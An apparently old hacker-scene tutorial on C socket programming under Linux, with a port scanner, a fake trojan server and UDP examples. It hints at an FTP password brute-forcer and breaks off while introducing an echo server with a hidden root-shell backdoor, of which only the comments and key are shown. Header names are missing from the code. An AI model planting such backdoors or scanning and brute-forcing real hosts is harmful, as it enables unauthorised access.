###################################
#Networkprogramming in C under Linux
###################################
__ __ __
.-----.--.--.----.| |.--.--.--| |.-----.--| | .-----.----.-----.
| -__|_ _| __|| || | | _ || -__| _ |__| _ | _| _ |
|_____|__.__|____||__||_____|_____||_____|_____|__|_____|__| |___ |
by l0om - member of excluded-team |_____|
Networkprogramming in C under Linux
An Introduction
V.1.2
Content
1.0 Preface
2.0 Introduction
3.0 Basic Functions (Client Side)
3.1 socket
3.2 connect
3.3 close
3.4 sockaddr_in Structur
3.5 Example Program (Portscanner)
4.0 Basic Functions (Server Side)
4.1 bind
4.2 listen
4.3 accept
4.4 Example Program (Fakeserver)
5.0 UDP
5.1 UDP Clients
5.1.1 sendto
5.1.2 recvfrom
5.1.3 connect with UDP?
5.2 UDP Server
5.3 UDP Client/Server Example (sysinfs.c sysinfs.c)
6.0 Sophisticated Server
6.1 fork
6.2 signal
6.3 Example Progam (Parallel-Server / Trojan Echoserver).
7.0 Introduction to Raw-Sockets
7.1 Header Overview
7.1.1 IP Header
7.1.2 TCP Header
7.1.3 UDPHeader
7.1.4 ICMPHeader
7.1.5 Pseudo Header
7.2 Example Program (TCP-Sniffer)
7.3 sendto
7.4 Example Program (Pong / Variety of Ping)
7.5 select
7.6 Improvement (Pong)
7.7 Functions for easy/fast Raw-Socket programming
8.0 Summary
9.0 Greets
1.0 Preface
In this tutorial we will deal with networkprogramming under LINUX (/UNIX). During this we
will only work with the Programminglanguage C. Precognition of C are needed. You should know
what a describtor or a string is. # ;)
Furthermore the reader has to be intrested, so when you don�t know one of the listed
functions (e.g. "read", "write") you should check out the according manual ( $ man function).
Misspellings are due to the state of mind of the author. The text is written in a simple form
and only contains the main important details of the functions.
A little bit of knowlegde about TCP/IP should be enough to understand the topic, wheras we
will only deal with IPv4 here. We will emphasise on TCP.
So this Tut is an introduction and topics like threading or multicasting will not be
discussed.
2.0 Introduction
C is a very flexible language that ranges across a wide area of programming. So terms like
Kernelprogramming, Systemprogramming and Networkprogramming are well known. The
networkprogramming deals with the communication between a client and a server . The server
allocates a service, while the client connects to the server to call on this service. Normaly
networkable programms are send/shiped out with the operatingsystem. So one knows Web-Browser,
FTP-Clients or POP-Clients. But we want to write our own server/client applications.
Sockets are a total transparent interface to a remote host. In doing so it does not matter if
the host is in our LAN or is sited/remaining in a WAN. Through the socket datapackets are
send from us as far as to a remote host. We just tell the socket what we want and it does the
rest of the work. A total different things are Raw-Sockets. As the name implies, here the
transparancy of the networkcommunications are repealed. We as the programmers are now able to
send our selfmade datapakets, thanks to the Raw-Sockets.
3.0 Basic Functions (Client Side)
Like in all areas of C programming we need functions, with which our work during programming
is made possible. Like used to the functions reside in headerfiles. To get a short overview
how big the potentials are, I recommend to take a look at the directory of the "netinet"
header.
l0om@work:~> cd /usr/include/netinet
l0om@work:/usr/include/netinet> ls
A lot of headers get listed, which all can be used for networkprogramming. We will now take a
look at the main important functions of networkprogramming.
3.1 socket
Like we know now hosts communicate through sockets. But where do we get them?
Like everything else in a UNIX systems sockets are also describtors. That means that we can
use them like anyother variable. We can read from it with read() and write to it using
write(). We will now take a look at the function to create a socket:
Functiondefinition
#include
int socket(int family, int type, int protocol);
Returnvalue
At success the function returns a socket.
At failure we get -1.
Arguments
.family. states the protocolfamily. Constants are used to give the variable a value.
Constantnname Definition
AF_INET Use of Ipv4
AF_INET6 Use of Ipv6
AF_LOCAL Unix Domain Protocol
AF_ROUTE Routing-Sockets
AF_KEY Key Sockets
.type. tells the function what kind of socket we do like.
Constantname Definition
SOCK_STREAM Stream-socket (TCP)
SOCK_DGRAM Datagram-socket (UDP)
SOCK_RAW Raw-socket (what we like)
.protocol. reamins "0" execpt for Raw-sockets. With Raw-Sockets we can tell, for which kind
of protocol we want our packets to be created.
Constantname Definition
IPPROTO_TCP TCP
IPPROTO_UDP UDP
IPPROTO_ICMP ICMP
Example
/* we create a TCP-socket */
int sock;
...
sock = socket(AF_INET, SOCK_STREAM, 0);
.
/* we create a UDP raw socket */
int rawsock;
...
rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_UDP);
If the socket is sucsesfully created, we can use it like anyother integer variable.
3.2 connect
After we created a socket, we are now able to connect to remote services using the connect
function.
Functiondefinition
#include
int connect(int sockfd, const struct sockaddr *servaddr, socklen_t addrlen);
Returnvalue
At a sucsesfull conenction we get a 0.
At failure we get a -1
Which kinds of failure are there?
If our client doesn�t get a answer to the TCP +SYN packet, errno ETIMEDOUT is returned. The
length of a timeout of a connection can be changed interactivly in the /proc/sys/ip4/
directory.
If the answers of the host is a TCP +RST, namely the port is closed a errno ECONNREFUSED is
returned.
Arguments
.sockfd. has to be an existing socketdescribtor.
.servaddr. has to be a pointer to a sockaddr stuctur. This structur contains data that are
needed for the connection. Among them the target-port and target-ip adress. We will explore
this important structur soon.
.addrlen. has to contain the size in bytes of the sockaddr structur.
Example
/* Connection */
...
if(connect(sockfd, (struct sockaddr *)&servaddr, sizeof(struct servaddr)) == -1) {
fprintf(stderr, .cannot connect\n.);
return (-1);
} else printf(.connected\n.);
...
connect gets called within an "if" control structur, to grab the return value of the
function.
If the return value is -1, an error, a message is printed on the .stderr. stream.
Otherwise a message is printed on .stdout. nonetheless
3.3 close
With .close. we close the open describtor. These are closed at the end of a programm on their
own, but it shows good style when one closes the describtors. Beside within an active TCP
connection a normal connection termination is initiated. Furthermore all data that stand in
line on the socket get send.
Functionsdefinition
#include
int close(int sockfd);
Arguments
.sockfd. is the open socket.
3.4 sockaddr_in structur
Many functions need a pointer on a .sockaddr. adressstructur. With IPv4 we use .sockaddr_in..
This contains important data concerning the connection setup. So we find here for example the
portnumber and the ipadress of our target host.
Structurdefinition
#include
struct sockaddr_in {
uint8_t sin_len; /* length of structur */
sa_family_t sin_family /* AF_INET */
in_port_t sin_port; /* 16-bit TCP/UDP portnumber in
.Computerlanguage. */
struct in_addr sin_addr; /* 32-bit Ipv4 addresse in
.Computerlanguage. */
char sin_zero[8]; /* leergut ;) */
}
Structurelement
Refering to POSIX this structur asks for only three elements: sin_family, sin_port, sin_addr.
These are on every Unix or Unixclone system.
.sin_family. carrys the value of a constant like AF_INET, AF_INET6 or AF_KEY. These constants
make clear with .what. we communicate. So AF_inet says that we want to use Ipv4.
.sin_port.: Here you state the target-port . But we can only pass the value on with the
.htons(VALUE). fcunction . Cause the structurelement requires that the value is passed in
.computerlanguage.. More in the example.
.sin_addr. is another structur in the sockaddr_in structur. This further structur only holds
a single element - .s_addr.. .s_addr. is a Ipv4 IP address as 32-bit value. Also for this
there are a few function with wich we can bring the IP-address into the right format.
Example
/* start */
struct sockaddr_in remotehost;
...
remotehost.sin_family = AF_INET; /* Ipv4, please */
remotehost.sin_port = htons(80); /* port 80, http(TCP) */
remotehost.sin_addr.s_addr = inet_addr(argv[2]); /* ipadresse should be argument number three
*/
...
3.5 Example Programm
Here in our practical example we will see, for example the second argument of the programm
will be transmuted into a 32-bit adress. The function .inet_addr. holds one argument. Namely
a pointer to a string. This string has to hold the IP-address in normal format.
So- with this knwolegde, together we can stand up to our first challenge. We will write a
easy (very easy) (TCP)portscanner. The scanner will work with the .vanilla. methode. That
means, that via connect() we can connect from port to port and by this find out, which
services are active and which are not.
We will walk through this programm piece by piece.
/* lamescan.c
* another pretty lame connect() scanner...
* usage: lamescan [dest-ip]
* it only scans from port 1 to 1024 for now. change the values of the
* defined STARTPORT && ENDPORT if u need to.
*
* l0om
*/
#include
#include
#include
#define STARTPORT 1 /* beginn scanning here */
#define ENDPORT 1024 /* end scanning here */
#define OPEN 1 /* return 1 for open ports */
#define CLOSED 2 /* and 2 for closed ones */
#define ERROR -1
int checkprt(int port, char *ip);
The needed headerfiles are included. Namely stdio.h for the standard functions, socket.h for
functions like .socket. and netinet/in.h to use with connect and our structur sockaddr_in.
Next we define our next constants. The constants STARTPORT and ENDPORT define from where to
where will be scanned and we can change them on demand. ERROR, OPEN and CLOSED are
returnvalues we will work with, to see if our port are open or not .
We create a functionprototyp. This function will be used for connecting us with a port.
.port. gives the portnumber and .IP. has the IP in clear text.
int checkprt(int port, char *ip)
{
int test = 0;
int sockfd;
struct sockaddr_in servaddr;
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0) {
printf("error. cannot creat socket\n");
return ERROR;
}
servaddr.sin_family = AF_INET;
servaddr.sin_addr.s_addr = inet_addr(ip);
servaddr.sin_port = htons(port);
test = connect(sockfd, (struct sockaddr_in *)&servaddr, sizeof(servaddr));
if(test == -1){
close(sockfd);
return CLOSED;
}
close(sockfd);
return OPEN;
}
And here comes the functionbody allready. A socket is created and tested if it was created
sucsessfull. After that we initialise our structur.
We use the .ip. Argument as an argument for .inet_addr. and the .port. argument as an
argument for .htons.. We have our arguments changed into "Computerlanguage" through these two
function.
Now we call connect and save the return value in the integer variable "test". The return
value of "test" is checked on -1. Is Test negativ (-1) CLOSE is returned, else OPEN. Now for
the main function.
int main(int argc, char **argv)
{
int i;
char *dest;
if(argc != 2) {
printf("usage: %s [dest-ip]\n",argv[0]);
return ERROR;
}
dest = argv[1];
printf("\n\tlamescan a REAL lame portscanner\n");
printf("\t-----------------------------------\n");
printf("\tl0om\n\n");
printf("scanning from %d to %d -> %s\n\n",STARTPORT, ENDPORT, argv[1]);
for(i = STARTPORT; i <= ENDPORT; i++)
if(checkprt(i,dest) == OPEN)
printf("port %d is open\n",i);
printf("scan finished\n");
return 0;
}
We check if the programm is called correctly. Just one argument. Then we point the pointer
.dest. on the beginning of the arguments. We initialise the varible .i. with the value of the
constant STARTPORT and increment .i. till the value of ENDPORT is reached. The value of .i.
is set during each looprun as the .port. argument of .checkprt. and the returnvalue of the
function is checked each time. On OPEN the user is notfied, otherwise not.
Now an easy one:
root:~ # gcc -o lamescan lamescan.c
root:~ # ./lamescan 127.0.0.1 # we scan the fbi ;)
and the open TCP ports of the hosts are shown to us.
With our so far gained knowlegde we can even write a brutforce program. Just connect with the
service and transfer the right string with .write(). (z.B. FTP: USER blah\r\n && PASS
blahblah\r\n). Than via .read(). get the output of the server and recognize this way if the
password is right or not. But I do not want to take all the work off of you.
4.0 Basic Functions (Server Side)
As a server we have the job to listen on a port for a connection. If a client wants to
establish a connection, we make it possible. Depending on the server application we serve a
service to the client. To have everything working we naturely need new functions. Whereby we
also need to use the previous named.
4.1 bind
With the "bind" function we knot protocoll specific data, like the portadress and the IP-
adress wich is alowed to make a connection.
Functiondefinition
#include
int bind(int sockfd, const struct sockaddr *myaddr, socklen_t addrlen);
Returnvalue
0 if Okay, -1 if error.
Arguments
"sockfd" is the "knoted" socket, on which we will listen for connections later.
"myaddr" stands for a completly filled "sockaddr_in" structur. In this on one hand the
protocolfamily is defined, on the other hand the portadress and the IP-adress of the local
interface which is allowed to make a connection. Cause this would limit our server to
connections with the same host, we use wildcard, with which every client is able, to connect
to the server. For this we asign the value of the variable "s_addr" like following:
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
"socklen_t" is the length of the structur in bytes.
Example:
/* start */
struct sockaddr_in myaddr;
...
myaddr.sin_family = AF_INET;
myaddr.sin_port = htons(6736);
myaddr.sin_addr.s_addr = htonl(INADDR_ANY);
...
if(bind(sockfd,(struct sockaddr *)&myaddr, sizeof(struct sockaddr)) == -1) {
fprintf(stderr,"cannot bind\n");
return (-1);
}
...
Here a structur for the protocolfamlily IPv4 is filled. On one hand we define that the socket
sockfd listens on port 6736 and on the other hand that really everyone can connect with it.
Beside blocking IP Adresses with the help of /etc/hosts.deny, but thats another stroy.
4.2 listen
Using the "listen" function we tell the socket to start listen. The socket enters passive
mode and waits for incomming connections. But we can not accept the connection with this,
"accept" takes care of this.
Functiondefinition
#include
int listen(int sockfd, int backlog);
Returnvalue
0 if Okay, -1 if failure .
Arguments
"sockfd" has(!) to be a socket, that was created succesfully and to which already using
"bind" the nedded protocollinformations are linked. So this socket will be used to listen for
connections.
"backlog" is a whole number which tells the kernel how many connections he should put into
the waiting que. By doing so we consider that the kernel runs two waiting ques. One with
incomplete connections (a SYN came and we are waiting for a second SYN) and already complete
connections.
#########NOTE#########
Within here lies the danger of SYN-flooding. A mass of SYN packets arrives at the port. It
puts each SYN as a incomplete connections into "backlog". This sooner or later has the cause
that the threshold of "backlog" is reached and no new connections are accepted. Today there
are countermeasures like SYN-cookies. These are handeled internaly by the kernel
?fehlt was?
#######################
Example
/* start */
...
listen(sockfd, 12);
...
We listen on the socket "sockfd" and put a maximum of 12 connections into the waitingques.
4.3 accept
Using .accept. we have the option to return the next complete connection from the waitingque.
If there is no complete connection to return, the function blocks until it finds a complete
connection in the waitingque. Like we know the waitingque ist controlled by the "listen"
funktion. The listening socket remains and takes care of the waitingque. Cause we get from
the function a new socket, which represents the connected client.
Functiondefinition
#include
int accept(int sockfd, struct sockaddr *cliaddr, socklen_t addrlen);
Returnvalue
On success the function returns a brand new connected socket. This new describtor points to
the TCP connection with the client.
On failure we get a -1.
Argumente
.sockfd. is the "listen-describtor". Its the socket, which is used by listen, to listen for
oncoming connections.
.cliaddr. is the protocoladress of the connected clients. We so get his IP-adress and
further data. If we are not intrested into the clients identity, we just set "cliaddr" and
"addrlen" to the constant NULL.
.addrlen. is the size of .cliaddr. in bytes.
Example
/* start */
int sockfd, connfd;
.
bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
listen(sockfd, 4);
.
while(1) {
connfd = accept(sockfd, (struct sockaddr *)&client, sizeof(client));
do_something_with_client(&connfd);
close(connfd);
}
Here we see that two socket-descriptor are declared. Its "sockfd" and "connfd". The functions
like "bind" and "listen" are run on the socket "sockfd". Now we call an endless loop. If
"acept" gets a complet connection, it passes the new describtor over to "connfd". Now the
service is made availabe for the client and afterwards the connections is closed using
"closed".
4.4 Exampleprogram
Again lets have a look at the principals of a server-application a little bit depper.
socket()
|
|
|
bind()
|
|
|
listen()
|
| <---------|
| |
accept() |
| |
| |
dienst() |
| |
| |
close()--------
Using "socket" we first create a socket (TCP/UDP). Next we connect using "bind" the
protocollinformation onto the created socket. The "listen" functions listens for oncomming
connections. With "accept" we acceppt the incomming connection and offer our service to the
client. At the end of usage of the service, we close the socket and with that also the
connection using "close". But naturely a server should be reachable further more, so with
help of the loop we return, before "accept"
We gonna write an example server. Actually we will tinker us a fakeserver for our "Trojaner
h4X0rZ. We will offer our service under a standard Backdoor-Port. The user can determine the
port on which is to listen with help of the "-p" function. The connections are writen into a
LOGFILE (ip-adresse and date). On behalf the user can call the "-a" function, which gives of
a "bell" tone when a 1337 h4X0r connects. Our connected experts surely get a blast which we
define in the constant MASSAGE :).
/* fakeserver.c
a fakeserver for the trojan l337 I_4m3rZ.
all connected h4x0rZ see the #defined MASSAGE - change it if u want.
all connections get logged to the #defined LOGFILE - change if u want.
l0om
*/
#include
#include
#include
#include
#define LOGFILE "/root/fakeserver.log" /* all connections are logged here*/
#define MASSAGE "hey u l337 h4x0r-> u got blamed by a fakeserver, so FUCK OFF (now plz)" /*
the message */
void help();
Like before we include some headerfiles. "time.h" is used to get the date of the connection.
The named constant are defined like LOGFILE and MASSAGE.
We just need one "help" function for a retard user to explain the usage.
int main(int argc, char **argv)
{
int i;
ssize_t len;
int alert = 0;
int sockfd, connfd;
int port = 6667;
struct sockaddr_in servaddr, cliaddr;
time_t istime;
FILE *logfd;
if( (getuid()|getgid()) != 0) {
printf("sorry-> u must be root");
return -1;
}
if(argc > 1) {
for(i = 0; i < argc; i++) {
if(strncmp(argv[i], "-p", 2) == 0)
port = atoi(argv[++i]);
if(strncmp(argv[i], "-h", 2) == 0) {
help();
return 0;
}
if(strncmp(argv[i], "-a",2) == 0)
alert = 1;
}
}
We declare some Variables and structurs nedded for the further programmrun. We check if the
user is root. With "i" we work through the passed arguments. "alert" is set to 1, if the "-a"
option is choosen. Furthermore two sockets are created. "port" carries a standard value which
can be changed with help of the "-p" function. We declare two "sockaddr_in" structurs. One
for the server and one for our connected expert. "time_t" is a unsigned number which is used
to get the time and date. "logfd" is a filedescribtor through which we write into the
LOGFILE.
memset(&servaddr, '\0', sizeof(servaddr));
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(port);
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd < 0) {
printf("cannot create socket\n");
return -1;
}
bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
listen(sockfd, 6);
len = sizeof(cliaddr);
while(1>0) {
connfd = accept(sockfd, (struct sockaddr *)&cliaddr,&len);
if(alert)
printf("\a");
logfd = fopen(LOGFILE, "a");
if(logfd < 0) {
printf("cannot write to logfile\n");
logfd = stdout;
}
write(connfd, MASSAGE, strlen(MASSAGE));
istime = time(NULL);
fprintf(logfd, "%s connected at %s\n",inet_ntoa(cliaddr.sin_addr.s_addr),
ctime(&istime));
fclose(logfd);
close(connfd);
}
return 0;
}
We pass the importent values for the server over to the "servaddr" structur. After that we
create us a socket. To which we connect like before with "bind" the protocolinformations. We
call "listen", to wait for incoming connections. During the endlesslopp we call "accept",
which blocks at first. When a connection comes in either a "bell" tone is heard or not.
During further we open our LOGFILE. Now our expert is served a delicious message and all data
is writen into the LOGFILE. After this we disconnect the connection and close the file. For
further information on "time()":
$ man time
void help()
{
puts("fakeserver.c\n");
puts("usage");
puts("./fakeserver -p 6969");
puts("-p : the following argument must be the port to fake");
puts("-h : prints this help message");
puts("-a : allways rings when some h4xor connected");
puts("for change logfile or the message see the source\n");
puts("l0om");
}
The help menue.
Alright get going.
root:~ # gcc -o fakeserver fakeserver.c
root:~ # ./fakeserver -p 6969 -a &
WE run the programm in the background. Now a test...
root:~ # telnet 127.0.0.1 6969
Trying to Connect 127.0.0.1.
Connected with 127.0.0.1.
Escape Character is .^[.
hey u l337 h4x0r-> u got blamed by a fakeserver, so FUCK OFF (now plz) Connection closed by
foreign Host.
root:~ # cat /root/fakeserver.log
127.0.0.1 connected at #datum :)
5.0 UDP
Until now we only worked with TCP applications. But there is a alternative to TCP. The UDP
(User Datagram Protokoll) is in contrary to TCP stateless. In clear word this means, there is
no connection like with TCP, beside a connectionrequest. Further more UDP is truly spoken a
unsave protocl. What means, that with UDP you do not get any informations about if your
datagram reached its destination or not. However there are applications that rather use UDP
instead of TCP. SNMP. TFTP and NFS are just three famous examples. Cause UDP does not care
about much, it is also regarding speed better than TCP. But also more unsave (heres where the
cat bits its tail). Not to forget - UDP is BROADCAST able. What says, that a client can
communicate with a whole subnet. TCP doe not hold this ability.
How can we as the programmer now write networkapplications with UDP.
5.1 UDP Clients
The principals of the UDP client are naturaly similar to the TCP client. But cause of the
diffrences of UDP and TCP other functins are needed. Lets take a look at a client from the
birds perspective:
socket()
|
|
sendto() /* sending of data */
|
|
recvfrom() /* reading the answer*/
|
close()
For this run we only need two function, which we examine closer now.
5.1.1 sendto
Functionsdefinition
#include
ssize_t sendto(int sockfd, void *buf, size_t nbytes, int flags,
struct sockaddr *to, size_t addrlen);
Returnvalue
.sendto. either return -1 on failure, or the number of bytes that were send by the UDP
socket.
Arguments
.sockfd. is like we already think a created UDP socket.
.buf. contains the data that are to be transfered. Cause it is a void-datatyp, we can
transfer any kind of datatyps.
.nbytes. is the size of .buf. in bytes.
About the .flags. option we talk another time. We just have the flags remain 0.
In the sockaddr structur, like always the protocol specific data, which are needed for the
datatransfer are located. Which means cleary: targetport, targetadress and family (see tcp-
it is the same structure).
Into the .addrlen. the number of byte of the structur sockadres is left behind.
5.1.2
Functiondefinition
ssize_t recvfrom(int sockfd, void *buf, size_t nbytes, int flags, const
struct sockaddr *to, size_t *addrlen);
Returnvaluee
.recvfrom. returns -1 on failure or the number of read bytes. Whereby a returnvalue of 0 is
not a an error. A Value of 0 means, that we received a UDP packet, but which does not contain
any datacontent (ipheader+upheader).
Another important thing is that the last argument is a pointer. So we can pass
"sizeof(servaddr)" as an argument, but instead pass the value onto a variable and pass the
memoryadress with the dydisch register operator (&).
Argument
The most arguments are the same like with "sendto". What has changed is the "to" argumnet. If
we do not fill the argument with the literal NULL, but instead with a valid structur, revfrom
writes the data of the sender into the structur. Through this we can check the sender (and if
the UDP packet was not send by someone else).
5.1.3 Connect (connecting) with UDP?
Is it possible to start a connect() call with a UDP client?
Yes, it is. But using connect() with UDP there is in contrary to TCP no three-way-handshake,
instead the kernel puts the data which we pass over in the structur sockaddr with connect(),
into his logs and returns. So there is no connection, and we cant port port lamescan.c as
easy, so that we can also scan UDP ports. What is imagble is a sendto to each Port and a
recfrom. If it reads an answer the port is open (answer received) elsewise closed. Please
consider that recfrom is blocking function and one has build in functions like select (else
the programm hangs on no server response). We will write an even easier exampleprogramm.
What kind of advantages brings the call of connect considering UDP?
So when we call connect() we are able to transfer the data with functions like write() or
send(). Beside we can also read with functions like read() and recv().
5.2 UDP Server
We take a little sideway over to the servers. The servers work with the same functions like
the clients and the TCP servers.
socket()
|
|
bind()
| <--------|
recvfrom() |
| |
sendto() |
| |
close()------|
With a UDP Server you can neglect listen(). However we have to bind the protocol specifice
data with bind() (see tcp).
For sure the server first waits for the receival of packets (recvfrom) and afterwards
starts the reduction. What meets the eye is that we neither need listen() nor accept(). We
just wait till someone sends us something that is related to UDP.
5.3 UDP Server/Client example (sysinfs.c sysinfc.c)
During this example we will write a UDP server which sends the client information about the
kernel.
Like used to we will make some think steps, so the programm is understood. First the server .
sysinfs.c.
#include
#include
#include
#define SERV_PORT 6996 /* port to "listen" */
#define SYSINFO "/proc/version" /* get sysinfos */
Here like used to first the needed headers are linked. We define SERV_PORT as the default
port for our application.
From the file SYSINFO we read the data that we will send to the client.
int main(void)
{
int sockfd, nbytes;
char sysinfos[60] = { 0 };
char message[20] = { 0 };
size_t len;
struct sockaddr_in servaddr, cliaddr;
FILE *fd;
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if(sockfd < 0) {
fprintf(stderr, "error, cannot creat socket\n");
return(-1);
}
fd = fopen(SYSINFO, "r");
if(fd == NULL) {
fprintf(stderr, "error, cannot open sys file\n");
return(-1);
}
fgets(sysinfos, sizeof(sysinfos), fd);
servaddr.sin_family = AF_INET;
servaddr.sin_port = htons(SERV_PORT);
servaddr.sin_addr.s_addr = htonl(INADDR_ANY);
bind(sockfd, (struct sockaddr *)&servaddr, sizeof(servaddr));
Here we are already in the main() function. First we declare some variables ( i think i don�t
need to say anything about). We initialiase .sockfd. as a UDP socket (SOCK_DGRAM).
Via fopen() we open the infofile for reading and read via fget the data of the file into the
"sysinfos" puffer.
Now we put down the protocolinformation. Same as with the TCP Server, the port and the
allowed incomes (INADDR_ANY = everyone is allowed to connect).
We bind these data with bind() to the socket.
while(1) {
len = sizeof(cliaddr);
nbytes = recvfrom(sockfd, message, sizeof(message), 0,
&cliaddr, &len);
if(nbytes < 0) {
fprintf(stderr, "recvfrom error\n");
return(-1);
}
nbytes = sendto(sockfd, sysinfos, sizeof(sysinfos), 0,
(struct sockaddr *)&cliaddr, sizeof(cliaddr));
if(nbytes < 0) {
fprintf(stderr, "sendto error\n");
return(-1);
}
}
return(0);
}
Within the endless loop, we wait for incoming data. When we receive some, we initialise the
structur "cliaddr" with the value of the sender and send the information to the sender.
That�s the server.
Now for the client (sysinfc.c).
#include
#include
#include
#define SERV_PORT 6996
#define MESS "gimmi infos"
int main(int argc, char **argv)
{
int sockfd, nbytes;
size_t len;
char received[60] = { 0 };
struct sockaddr_in servaddr;
if(argc < 2) {
printf("%s [hosts-IP] {port}\n",argv[0]);
return(-1);
}
sockfd = socket(AF_INET, SOCK_DGRAM, 0);
if(sockfd < 0) {
fprintf(stderr, "error, cannot creat socket\n");
return(-1);
}
The top lines are the same as with the server, only that we define MESS. This constant
contains the string which will be transfered to the server (unimportant what is written in
it).
The corectness of the passed arguments is checked. The IP is definetly needed, but also a
port can be stated (optiomal).
We create us a socket.
servaddr.sin_family = AF_INET;
if(argc == 3)
servaddr.sin_port = htons(atoi(argv[2]));
else servaddr.sin_port = htons(SERV_PORT);
servaddr.sin_addr.s_addr = inet_addr(argv[1]);
nbytes = sendto(sockfd, MESS, 11, 0, (struct sockaddr *)&servaddr, sizeof(servaddr));
if(nbytes < 0) {
fprintf(stderr, "cannot write\n");
return(-1);
}
len = sizeof(servaddr);
nbytes = recvfrom(sockfd, received, sizeof(received), 0, &servaddr, &len);
if(nbytes < 0) {
fprintf(stderr, "cannot write\n");
return(-1);
}
printf("host %s running: %s\n",argv[1],received);
return(0);
}
We initialise the value of the structur. If the user choosed two arguments, we take the
second argument as target port. Else we use the default port.
We send something to the server and the server send us the information back. Annotated again
the last argument of recfrom() is a pointer, due to that we declare an extra variable named
"len".
And thats how it looks in the field:
loomes:~ # ./sysinfs &
[1] 666 # mm.. should that random pid value tell me something?!
loomes:~ # ./sysinfc 127.0.0.1
host 127.0.0.1 running: Linux version 2.2.18 (root@Pentium.suse.de) (gcc version 2.
loomes:~ # netstat .s | tail
.
Udp:
2 packets received
0 packets to unknown port received
0 packet receive errors
2 packets sent
# for the sucessfull run of this UDP application only
# two UDP packets are needed. Only
# the TCP connection buildup needs three packets.
6.0 Sophisticated Server
Till now we only faced primitive application, which are easy to bring to life. Now after we
know a little bit about the theme, we will take on something bigger. But for this we need
some new functions which are explained now. Later we will spend some time on the next
example.
6.1 fork
This function is the only possibility to create new process under linux. When we call "fork"
the function returns twice. Once the function returns into the calling process (parent
process) and once in the created proccess (child process) with a value of 0.
All describtors, which are open in the parent-process before the call of "fork" are used
together with the child-process after the return. Networkserver often use this method.
.fork.s typical apllicatonsarea are:
1. A process makes a copies of it self, so that the copy
can serve operations while the other copy
handles other tasks.
2. A process wants to run another programm. It creates a copy
of it self and now calls "exec". Through this another
programm is ececuted.
Functiondefinition
#include
pid_t fork(void);
Returnvalue
Returnvalue 0 in childprocess, Process-ID of the child in parent-process. -1 we get on
failure.
Arguments
---
Maybe some will ask them self what that has to do with networkprogramming. Till now our
server has devoted his runtime only to one client. That is totaly alright, as long the
runtime for a client is quite low. But what if our service takes more time? If we write the
server like we have it now, no other client can be served as long as a client is connected.
We will circumvine this problem nicely, by using "fork" to create a child-process for the
handling of each client. Meanwhile the parent-process will wait for incoming connections.
Example:
/* start */
...
pid_t pid;
int listenfd, connfd;
bind(listenfd, ...);
listen(listenfd, 20)
for( ; ; ) {
connfd = accept(listenfd, ...);
if( (pid = fork()) == 0) { /* child process */
close(listenfd); /* child close listening socket */
do_something(connfd); /* does all work */
close(connfd); /* close sock in child */
exit(0); /* exit the child */
}
close(connfd); /* close socket in Parent-Process */
}
We see that after each "accept" call a process is created. It is checked if the returnvalue
is 0. If yes, we are in the child-process. Than we close the listening socket "listendfd" and
call a function that further handles the client. After the return of the function the
connected socket is closed and via "exit" the child process is exited. (!). A graphik for
clearaty :
Client Server
Connection listen()
Connect() <-----------------------------> connfd
Previous handling
Client Server
listen()
connect() <------------------------------> connfd
| |
| | fork()
| |
| Connection V Child-Server
|------------------------> connfd
Paralell Server handling
To tell the truth the client does not build up a connection with the server process, but
instead connects with a copy of the child-process. That makes communication with several
clients at once possible.
But we still have a problem. The termination of the child-process causes us headaces when we
start the programm like above. Namely after we called "exit", we not only return into the
parent-process. The child process becomes a zombie process. Recognazible on the "Z" withing
the statusoutput of "ps".
A Zombie is no Undead with drooling mouth that takes on our cat, but a "died" process. The
process indeed is dead, but still awaits it�s funeral. Zombie-process contain informations
about the process, but are somehow useless for us. They take up memory and eat up
describtors. Which can cause function like "fork" or "socket" to fail.
But how do we end a child process right?
A new function for this:
6.2 signal
A Signal is a message for a process, that an event has happened.
Signals can:
Be send from a process to another or to itself.
Be send from the kernel to another process.
The signal on which we will take is called "SIGCHILD" and is send on each processtermination
from the kernel to the parent-process. More on this later...
With .signal. we can determine that a function should be called, when a certain signal comes
in. Such functions are called signalhandler. This have no returnvalue and only one integer
argument.
void sigchild_catch(int sig);
This would be a valid signalhandler.
We are also able to ignore a signal.
Functiondefinition
Sigfunc *signal(int signalnr, Sigfunc *signalhandler);
Returnvalue
On failure SIG_ERR.
Arguments
.signalnr. should be a constant, that stands for signals. Examples are SIGALRM, SIGURG,
SIGPOLL or SIGKILL.
.signalhandler. is the name of the function which should be called, to react on the given
signal.
Example
if(singal(SIGCHLD, sigchild_catcher) == SIG_ERR) printf(.warning: cannot install
signalhandler.\n.);
In this example we call "signal" within a "if" controllstructur to direclty capture the
returnvalue. If the returnvalue is SIG_ERR, we want to be notified. Otherwise the
signalhandler is installed sucsesfully. As the first argument we take the constant "SIGCHILD"
and as a reaction to the receivment of this singal, the function "sigchild_catcher" should be
called.
void sigchild_catcher(int signo)
{
pid_t pid;
int stat;
pid = wait(&stat);
return;
}
So as an example a SIGCHILD handler could look like this. With the "wait" function we avoid
that the process mutates to a zombie. When ever we start a child-process with "fork", we have
to wait for them with "wait" so they don�t become a zombie. First this sounds a little
abstract, but after an example things will clear.
#######NOTE#######
Better would be the Usage of "waitpid".
##################
6.3 Exampleprogrammm (paralell Server)
In our example we will take on an echoserver. A client connects with the echoserver (tcp/7)
and sends its strings. The server reads these and sends them back. That means that the client
can take up undefined time. So we have to write a paralellserver, cause we want to serve more
than one client.
The Tut would be no .ES-C. Tut, if we would not change the echoserver into a trojan horse
variant :) So the server serves the echoservice, but when we send a certain string
(MAGICKEY), kind of a shells opens for us. Within we can run systemcommands via "system".
Cause the echoservice holds root-rights, we can run our Shell-commands with root-access. With
the string "quit" we vanish into the regular echoserver.
/* echoser.c
a faked echo server -> backdoor inclusive.
remove the original echo program and put this on its place.
just connect with telnet to it.
it acts like a normal echo server but if u typ in the MAGICKEY
(its #defined - change it) u ll see the igors prompt.
their u can type all systemcommands u want to execute and igor will
do the rest for u...
to quit from the igor prompt type "quit" and u ll find urself again in
the normal echo application.
l0om
*/
#include
#include
#include
#include
#include
#define MAGICKEY "WAKEUP"
